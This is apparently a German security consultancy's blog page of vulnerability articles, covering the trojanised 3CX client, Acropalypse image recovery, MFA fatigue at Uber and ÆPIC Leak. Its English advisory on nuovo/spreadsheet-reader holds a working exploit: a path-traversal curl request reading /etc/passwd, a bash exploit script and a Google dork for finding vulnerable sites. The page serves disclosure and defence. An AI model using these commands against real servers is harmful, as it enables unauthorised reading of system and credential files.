Kategorie: Schwachstelle

Schwachstelle

Wenn der Patch zum Trojaner wird

Die Desktop-Anwendung des VoIP-Telefonie-Herstellers 3CX wurde Ende März trojanisiert. Der Definition für Malware vom Typ „Trojanisches Pferd“ folgend, tat die Software, was sie eigentlich sollte – brachte aber zusätzliche Schadfunktionen mit. Ein sehr schwacher Trost für die Mehrzahl der Betroffenen mag sein, dass sie nicht das eigentliche Ziel des Angriffs waren. Und obwohl das auf den ersten Blick sehr beruhigend klingen mag, erforderte die Kompromittierung einer Großzahl ihrer Clients auch für diese Betroffenen selbst umfangreiche Maßnahmen, um das Ausmaß des Schadens zu bestimmen und trojanisierte Systeme neu aufzusetzen.

Betroffen sind die Versionen Update 6 und 7 für MacOS sowie Update 7 für Windows. Sie wurden bereits beim Hersteller modifiziert und typischerweise automatisch über die eingebaute Update-Funktion der Desktop-Anwendung installiert. Bereinigte Versionen stehen inzwischen bereit. Alle, für die Patchmanagement nicht nur das schnelle, ungeprüfte Installieren von Updates ist, fühlen sich jetzt sicherlich bestätigt. Das IT-Grundschutz-Kompendium fordert in OPS.1.1.3.A15 auch: „Es MUSS entschieden werden, ob der Patch eingespielt werden soll.“

Aber hätte man die Trojanisierung des Software-Updates auf einem Testsystem erkennen können? Beim Beobachten des Netzwerkverkehrs hätte man zuvor nicht vorhandene Verbindungen bemerken können – allerdings haben die Angreifer dafür extra Domainnamen reserviert, die man leicht einem legitimen Zweck zugeordnet hätte. Man hätte auch über die Art und Weise stolpern können, wie ein Teil der Malware in den DLLs der legitimen Software versteckt wurde: Während der erste Teil (der Loader) vom Hersteller unwissentlich direkt in eine DLL-Datei einkompiliert war, wurde der zweite Teil so an eine signierte DLL-Datei angehängt, dass die Authenticode-Signatur weiter gültig ist. Das sich Signaturen so leicht austricksen lassen sollen, klingt nach einem Fehler – und tatsächlich gibt es dagegen bereits seit 2013 einen Patch von Microsoft. Vermutlich ist der Patch auf Ihrem Testsystem aber nicht installiert, denn er wurde kurz nach der Veröffentlichung als „optional“ gekennzeichnet. Zu viele Nutzer meldeten legitime Software, die plötzlich nicht mehr die Signaturprüfung bestand. Auch das ist ein „schwieriger“ Teil des Patchmanagements –die positiven wie negativen Auswirkungen auch von solchen Updates zu prüfen, die der Hersteller nur eingeschränkt empfiehlt.

Mit der Patchmanagement-Brille betrachtet, bleibt als Krux festzuhalten: Ein vom Hersteller empfohlenes Update, das man besser nicht installiert hätte, traf auf ein vom Hersteller nicht uneingeschränkt empfohlenes Update, das man besser installiert hätte.

Hintergrund zum trojanisierten 3CX-Desktop-Client:

Hintergrund zu der manipulierbaren Authenticode-Signatur:

Advisories, Schwachstelle

„Acropalypse“ NOW!

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Package-ID „com.google.android.markup“) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Hintergrund

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Google Markup) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Simon Aarons und David Buchanan fiel auf, dass dies bei beschnittenen Fotos auf Google Pixel Smartphones nicht der Fall zu sein scheint. Das Smartphone zeigte zwar ausschließlich den beschnittenen Bildbereich an, dennoch blieb die Dateigröße nahezu unverändert. Dies legte den Verdacht nahe, dass die originalen Bildinformationen noch vorhanden sein könnten.

Ihre Analyse ergab, dass beim Speichern des beschnittenen Bildes tatsächlich nicht das alte Bild gelöscht wird Stattdessen wird mit dem neuen, kleineren Bildausschnitt nur der Beginn des alten Bildes überschrieben. Die alten Bildinformationen sind jedoch weiterhin in großen Teilen vorhanden. Aarons und Buchanan entwickelten daraufhin ein Web-Tool mit dem sich das ursprüngliche Bild aus dem einem beschnittenen weitestgehend rekonstruieren lässt. Die Schwachstelle hat trägt die offizielle CVE-ID „CVE-2023-21036“.

Die folgende Abbildung soll den Unterschied zwischen erwartetem Ergebnis und tatsächlichem Ergebnis veranschaulichen. Die „IEND“-Byte-Folge markiert in einer PNG-Datei die Stelle an dem das Ende der Bildinformationen erreicht ist.

Bildbetrachtungsprogramme haben mit dem Anzeigen der Variante (2) des Bildes kein Problem, da die IEND-Byte-Folge korrekt hinter dem beschnittenen Bildausschnitt gesetzt wurde. Aus Sicht der Image-Tools handelte es sich um ein syntaktisch korrekte PNG-Datei. Informationen nach dem IEND werden einfach ignoriert. Mittlerweile wurde eine Sicherheitslücke im Microsoft Snipping-Tool entdeckt, welche sich analog ausnutzen lässt. Wir haben dies zum Anlass genommen weitere Tools auf diese Art von Schwachstelle hinzu untersuchen, jedoch war keines davon anfällig. Die folgenden Tools wurden untersucht:

ToolVersion
IrfanView4.62
Greenshot1.2.10
XnView MP1.4.3
ShareX15.0
Durch die HiSolutions auf „Acropalypse“-Anfälligkeit untersuchte Tools

Zur Untersuchung haben wir die Dateigröße von Originaldatei und zugeschnittener Datei verglichen. Haben beide die gleiche Größe ist der Fehler sehr wahrscheinlich, da eine zugeschnittene Datei mit weniger Bildinhalt entsprechend weniger Speicherplatz benötigen sollte. Bei allen getesteten Tools war die Dateigröße der beschnittenen Datei deutlich kleiner als die der Originaldatei.

Da die Google-Pixel App und und das Microsoft Snipping-Tool eine unterschiedliche Code-Basis verwenden, gehen wir davon aus, dass es sich um einen vergleichbaren Logikfehler bei der Programmierung handelt: Beide Tools schreiben den kleineren Inhalt in die größere Originaldatei ohne die Restlänge der Datei verwerfen. Hinweis auf eine Schwachstelle, welche durch eine anfällige, gemeinsam genutzte Bibliothek entstanden ist, können wir nicht erkennen.

Proof-of-Concept

Das folgende Beispiel zeigt, wie aus einem, auf einem Google Pixel beschnittenes Bild, das Originalbild wiederhergestellt wird (pixel_cropped.png, pixel_original.png). Für die Wiederherstellung wurde dieses Script verwendet.

Das folgende Beispiel zeigt, wie aus einem, mit dem Windows Snipping-Tool beschnittenem Bild, das Originalbild wiederhergestellt wird (windows_cropped.png, windows_original.png).

Da das Snipping-Tool RGBA statt RGB als PNG Image Type verwendet, muss der oben verlinkte Code leicht angepasst werden, um auch hier das Original wiederherzustellen. Die Änderungen betreffenen die folgenden Zeilen:

132c132
< ihdr += (2).to_bytes(1, "big") # true colour
---
> ihdr += (6).to_bytes(1, "big") # true colour with alpha
140c140
< reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff" * orig_width) * orig_height)
---
> reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff\xff" * orig_width) * orig_height)
149c149
< for i in range(0, len(reconstructed_idat), orig_width*3+1):
---
> for i in range(0, len(reconstructed_idat), orig_width*4+1):

Voraussetzung zur Ausnutzung

Nach Kenntnisstand vom 22.03.2023 müssen die folgenden Voraussetzungen gegeben sein, um eine anfällige Bild-Datei zu erhalten.

  • Das Bild muss mit einer anfälligen Software bearbeitet worden sein.
  • Nach aktuellem Kenntnisstand ist ausschließlich die nachträgliche Wiederherstellung aus PNG-Bildern möglich.
  • Die beschnittene Bilddatei, darf nicht nachträglich komprimiert worden sein, da sonst die verborgenen Bildinformationen entfernt werden.  Dies geschieht jedoch beim Upload auf online-Plattformen häufig automatisch.
  • Für die Rekonstruktion muss die Bildgröße des unbeschnittenen Originalbildes bekannt sein. Diese kann jedoch durch geschicktes ausprobieren von Standard-Displayauflösungen erraten, z. B. Full HD (1920 × 1080 Pixel), oder durch zusätzliche Metainformationen wie beispielsweise dem Handymodell ermittelt werden.

Auswirkungen

Personen mit Zugriff auf mit einer anfälligen Software beschnittene Bilder können große Teile des Originalbildes wiederherstellen. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese möglicherweise wieder sichtbar machen und für bösartige Absichten verwenden.

Der Grund dafür dass manche Bildinformationen verloren gehen, ist dem Aufbau des PNG-Dateiformats geschuldet. Bildinhalte werden in einer Sequenz sogenannter IDAT-Chunks gespeichert. Beim Speichern des beschnittenen Bildes über den Datei-Anfang des Originals werden bestimmte Teile des Originalbildes überschrieben. IDAT-Chunks die auf diese Weise verändert bzw. beschädigt werden können nicht korrekt wiederhergestellt werden, was zu einer wirren oder leeren Pixelfläche im wiederhergestellten Bild führt.

Gegenmaßnahmen

Wurden sensible Bilder mit einem der genannten Tools beschnitten und veröffentlich, dann sollten diese nach Möglichkeit von der betroffenen Plattform gelöscht werden. Dies ist jedoch nur notwendig, wenn die Bilder auf der Plattform unkomprimiert veröffentlicht sind (siehe „Voraussetzung zur Ausnutzung“).

Betroffene Bilddateien können repariert werden, indem das Bild in einem anderen Format (z. B. JPEG) gespeichert wird. Hierdurch werden die verborgenen Dateiinhalte abgeschnitten.

Google hat bereits reagiert und ein Update für seine Pixel-Smartphones veröffentlicht. Dieses sollte umgehend eingespielt werden. Bei der Verwendung des Microsoft Snipping-Tools sollten beschnittene Bilder als neue Datei unter einem anderen Dateinamen gespeichert werden. Dadurch wird verhindert, dass lediglich das alte Bild unsauber überschrieben wird. Ein Patch wurde zum aktuellen Zeitpunkt noch nicht veröffentlicht.

Schwachstelle

Wenn der White-Hat-Hacker anruft, aber niemand rangeht

Stellen Sie sich vor, ein findiger Mensch hat eine Sicherheitslücke bei Ihnen entdeckt. Wenn er oder sie jetzt Ihre Organisation darauf aufmerksam machen möchte: Wo würde die Information initial landen? Wie gut sind die Chancen, dass sie fachkundig bewertet und nicht als Werbung wegsortiert wird? Wer würde entsprechende Maßnahmen ergreifen? Und wer übernimmt die Kommunikation mit den Entdeckern – oder werden sie am Ende gar keine Antwort erhalten?

Die Erfahrungen der Entdeckerseite beschreibt ein Artikel in der „Zeit“ vom 19.01. Die Autoren hatten bei 15 Hochschulen Sicherheitslücken identifiziert. Im Artikel beschreiben sie die schnellen und positiven Reaktionen einiger Sicherheitsverantwortlichen, aber auch die Schwierigkeiten, überhaupt einen Ansprechpartner zu finden oder ein Feedback zu erhalten. Wer schon länger in der IT-Sicherheit unterwegs ist, kennt diese Problematik. Wie viele Advisories oder Artikel in Fachmedien zu Sicherheitslücken haben wir schon gelesen, die mit den Worten endeten: „Vom Hersteller gab es bis zur Veröffentlichung keine Reaktion“?

Auch wir erleben im Rahmen unseres Responsible-Disclosure-Prozesses sehr unterschiedliche Reaktionen auf unsere Meldungen. In einer Studie 2018 haben wir eine Lücke bei insgesamt 3.000 Betroffenen identifiziert und gemeldet. Lediglich 30 % davon reagierten mit der Schließung ihrer Lücke – andere Studien mit Warnungen von vielen Betroffenen kommen zu vergleichbaren Ergebnissen.

Aber zurück zu Ihrer Organisation: Sollten Sie immer alles stehen und liegen lassen, wenn eine Meldung beim Empfang eingeht? Auch hier erleben wir sehr unterschiedliche Situationen, wenn wir Kunden beraten. Natürlich kennt ein externer Sicherheitsforscher – anders als ein Auditor – die konkreten Sicherheitsziele Ihrer Organisation und die Kritikalität der einzelnen Systeme nicht im Detail. Daher wird meist vom schlimmsten Fall ausgegangen, und die Befunde entsprechend hoch eingestuft – gelegentlich auch zu hoch gegenüber einer näheren Betrachtung der Lücke und des Schadenpotenzials. Eine fachkundige Bewertung ist also immer zwingend nötig und daraufhin eine überlegte Reaktion – sowohl bei der Auswahl der getroffenen Maßnahmen als auch bei der Kommunikation mit den Meldenden.

https://www.zeit.de/2023/04/it-sicherheit-hochschule-sicherheitsluecken-hacker

HiSolutions Research
Advisories, Allgemein, Penetrationstest, Schwachstelle

Arbitrary File Read vulnerability – PHP library nuovo/spreadsheet-reader 0.5.11

Within the scope of a penetration test HiSolutions‘ security consultants discovered an arbitrary file read vulnerability in the spreadsheet-reader library by nuovo. The vulnerability was reported before by another security researcher on 17th Dec 2020 but does not have gotten any attention by the author since. After unsuccessful attempts to contact the author via different channels, HiSolutions decided to release exploit details without further actions. The vulnerability affects the current version 0.5.11 which is the latest version since 2015. It may affects earlier versions as well.

Background Information

The spreadsheet-reader library by nouvo is a widely used PHP software which is used to read out XLS, XLSX, ODS and variously separated text files. The project is hosted on Github and got a decent number of 660 stars and 494 forks. Furthermore it is listed on Packagist, a known PHP package repository, and was downloaded over 500.000 times. Using dependency managers like composer, the vulnerable library obviously found its way into various PHP websites (see Google dork in section “impact” for more information).

The vulnerability

The software ships with a “test.php” file located in the root-directory if the project. The PHP file can be called with the parameter “File” via HTTP GET. Due to the lack of security checks arbitrary paths can be passed as a value for the File parameter:

curl http://127.0.0.1/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd

As a result from the request above, the contents of the etc/passwd file get returned as a nested PHP array:

---------------------------------
Starting memory: 670416
---------------------------------
---------------------------------
Spreadsheets:
Array
(
    [0] => passwd
)
---------------------------------
---------------------------------
---------------------------------
*** Sheet passwd ***
---------------------------------
0: Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
)
Memory: 3000 current, 719760 base
---------------------------------
1: Array
(
    [0] => bin:x:1:1:bin:/bin:/sbin/nologin
)
Memory: 3232 current, 719992 base
---------------------------------
2: Array
(
    [0] => daemon:x:2:2:daemon:/sbin:/sbin/nologin
)
Memory: 3224 current, 719984 base
---------------------------------
3: Array
(
    [0] => adm:x:3:4:adm:/var/adm:/sbin/nologin
)

[...]

To display only the actual file content and filter out the “noise” around the output, use the following script:

#!/bin/bash

## usage:
# $ spreadsheet-reader-exploit.sh URL FILEPATH
# $ http://127.0.0.1/vendor/nuovo/spreadsheet-reader ../../../../../../../../../../../etc/passwd

SPREADSHEET_FOLDER_URI=$1
FILEPATH=$2
TMP=/tmp/spreadsheesh.txt

curl -s "${SPREADSHEET_FOLDER_URI}/test.php?File=${FILEPATH}" -o ${TMP}
cat ${TMP} | grep ] | cut -d ">" -f 2- | grep -v '^[[:space:]]*$'

Impact

The vulnerability is trivial to exploit. Attackers are able to read arbitrary files from the servers file system with the privileges of the PHP process.

The following google dork shows that multiple websites are online, using the vulnerable composer package:

inurl:"/nuovo/spreadsheet-reader" (Link)

Remediation

As a quick fix the test.php file should be deleted. This would stop attackers to exploit the vulnerability using the default file.

Nevertheless, the vulnerability is not limited to the default test.php file. The root cause of the problem is that the application itself does not sanitize or normalize the passed path-parameter when reading out files from the file system. Therefore, your software must sanitize the path manually before passing it to the library.

Since the project has not received any updates since 2015, despite many open Github (security) issues, it can be assumed that it is not under active development anymore. Therefore, we recommend to use an alternative library.

Responsible Disclosure Timeline

  • 17.12.2020 – The user “liquidsec” first reported an arbitrary read vulnerability discovered in a penetration test.
  • 30.03.2022 – Independent discovery of the vulnerability by HiSolutions within the scope of a penetration test.
  • since 29.04.2022 – HiSolutions contacted the author through Github, Facebook and LinkedIn.
  • 13.01.2023 – Since the author did not respond to any of the messages, HiSolutions decided to disclose the exploitation details.

Credits

The vulnerability was found by Ronny Dobra (HiSolutions AG).

Passwörter, Schwachstelle

Doch lieber Zettel unter der Tastatur? Sicherheitslücken in Passwortmanagern

Natürlich ist das berühmte (und leider auch in einigen unserer Audits anzutreffende) Post-it am Monitor oder unter der Tastatur keine Lösung zum Speichern von Passwörtern. Passwortmanager sind angetreten, um das Problem zu lösen, dass sich Menschen nur wenige technisch sichere Passwörter merken können. Auch wir empfehlen die Nutzung regelmäßig, da so für jeden Dienst und jedes System ein individuelles, und vor allem auch bei Brute-Force-Angriffen sicheres Passwort leicht erzeugt werden kann. Gleichzeitig wird der Passwortmanager damit zu einem Generalschlüssel und lohnenden Ziel für Angreifer – ein neues Risiko, das man berücksichtigen muss.

Mehrere Vorfälle in der Vorweihnachtszeit haben gezeigt, wie real dieses Risiko werden kann. Die meiste Beachtung fand der Sicherheitsvorfall beim Anbieter LastPass. LastPass informierte die Nutzer bereits im August über den Vorfall. Zum damaligen Zeitpunkt ging man aber davon aus, dass die Angreifer zwar Zugriff auf Entwicklersysteme hatten, Nutzerdaten und gespeicherte Passwörter aber nicht betroffen waren. Im Dezember musste LastPass nun auch Zugriffe auf Back-ups von Kundendaten einräumen. Die Passwortdatenbanken lassen sich zwar nur mit Kenntnis des Master-Passworts des jeweiligen Nutzers öffnen. Aber damit sind wir wieder beim initialen Problem: Menschen sind meist nicht gut im Ausdenken und Merken von technisch sicheren Passwörtern.

Das Risiko besteht nicht nur bei Online-Passwortmanagern: Die Kollegen von ModZero fanden bei der OnPremise-Lösung PasswordState gleich mehrere Lücken. Kombinierte ein Angreifer ohne Zugangsdaten diese geschickt, konnte er beliebige Zugangsdaten auslesen und auch überschreiben. Die Lücken sind bereits behoben – wenn man das Update von Anfang November eingespielt hat.

https://blog.lastpass.com/2022/12/notice-of-recent-security-incident/

https://www.modzero.com/modlog/archives/2022/12/19/better_make_sure_your_password_manager_is_secure

HiSolutions Research
Schwachstelle

Uberfällig – Gehackt via MFA-Fatigue

Die Nachricht im internen Slack des milliardenschweren US-amerikanischen Fahrdienste-as-a-Service-Anbieters Uber klang wie ein schlechter Scherz: “I announce I am a hacker and Uber has suffered a data breach”. Doch schnell wurde klar, dass sich tatsächlich jemand Zugriff tief in die Infrastruktur hinein verschafft hatte. Der 17-jährige mutmaßliche Täter, den die Polizei letzte Woche in England verhaften konnte, und der Mitglied der Gruppe LAPSUS$ sein soll, hatte sich einer neuartigen, schnell an Beliebtheit gewinnenden Angriffstechnik bedient: Um Zugriff aufs interne Netz zu erhalten, löste er sehr viele Anfragen nach Bestätigung des zweiten Faktors für einen Fernzugriff kurz hintereinander aus und schrieb außerdem dem Dienstleister, der diese erhielt, per WhatsApp, dass dieser doch bitte den Zugriff im Namen der internen Uber-IT zulassen solle. Als die sogenannte MFA-Fatigue – also die Übermüdung aufgrund der vielen Warnungen – einsetzte, ließ der Dienstleister den Angreifer hinein, woraufhin sich dieser im Netz weiterbewegen konnte.

Zukünftig muss also die Möglichkeit von Fatigue- und anderen MFA-Mitigation-Angriffen mitgedacht und durch Sensibilisierung und weitere technische Maßnahmen wie die Unterdrückung von MFA-Massenanfragen eingehegt werden.

https://www.infoq.com/news/2022/09/Uber-breach-mfa-fatigue/

Schwachstelle

Woran leakts? ÆPIC Leak – Mikroarchitektur-Schwachstelle bedroht sichere Enklaven

Die durch Forschende u. a. der Universität Sapienza Rom und der TU Graz entdeckte Schwachstelle „ÆPIC Leak“ (CVE-2022-21233) erlaubt erstmals, über die Mikroarchitektur geheime Daten aus Intel-CPUs zu stehlen, ohne dabei einen verrauschten Seitenkanal wie Meltdown oder Spectre zu benötigen. ÆPIC („Architecturally Leaking Uninitialized Data from the Microarchitecture“) funktioniert auf allen aktuellen Sunny-Cove-basierten Intel-CPUs. ÆPIC Leak kommt über einen sogenannten „uninitialized read“ – also ein Lesen von Speicherbereichen, in denen ein anderer Prozess Datenreste hinterlassen hat – in der CPU an Informationen, die zwischen dem L2- und dem Last-Level-Cache übertragen werden. User mit privilegiertem Zugriff können diese so extrahieren, etwa auch aus SGX-Enklaven, die eigentlich die Daten genau vor diesen Root-Usern schützen sollen.

Normale User können ÆPIC Leak nicht ausnutzen, da sie keinen Zugriff auf die physische APIC MMIO haben; auch VMs wird dieser Zugriff durch die Hypervisoren verwehrt. So wird die Lücke insgesamt nur als mittel eingestuft.

Insbesondere Systeme mit CPUs, die sich auf sichere Enklaven verlassen, um Daten vor privilegierten Angreifern zu schützen, sollten dringend gepatcht werden.

https://aepicleak.com/